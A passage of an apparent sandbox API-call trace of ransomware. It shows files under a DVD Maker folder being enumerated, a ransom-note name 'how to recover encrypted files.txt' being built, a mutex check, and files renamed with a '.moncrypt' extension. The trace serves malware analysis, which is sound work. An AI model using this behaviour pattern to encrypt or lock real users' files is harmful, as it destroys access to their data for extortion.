lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.435] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png", cchWideChar=90, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.pngl", lpUsedDefaultChar=0x0) returned 90 [0058.436] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.436] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Shatter\\NavigationLeft_SelectionSubpicture.pngl", lpUsedDefaultChar=0x0) returned 4 [0058.436] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ffe1945, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ffe1945, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fa59b8f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 0x54e280 [0058.436] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.436] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.436] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.436] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png", dwFileAttributes=0x20) returned 0 [0058.436] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.437] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_selectionsubpicture.png.moncrypt")) returned 0 [0058.437] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70007aa2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70007aa2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fa59b8f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0058.437] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.437] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.437] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.437] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.437] GlobalUnlock (hMem=0x44000c) returned 0 [0058.437] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.437] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.437] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.437] GlobalUnlock (hMem=0x44000c) returned 0 [0058.437] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.437] GlobalUnlock (hMem=0x440004) returned 0 [0058.437] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.437] CharLowerBuffW (in: lpsz="NavigationRight_ButtonGraphic.png", cchLength=0x21 | out: lpsz="navigationright_buttongraphic.png") returned 0x21 [0058.437] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.437] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.438] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.438] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png", cchWideChar=85, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 85 [0058.439] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.439] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Shatter\\NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 4 [0058.439] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70007aa2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70007aa2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fa59b8f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 0x54e280 [0058.439] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.439] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.439] FindClose (in: hFindFile=0x54e280 | 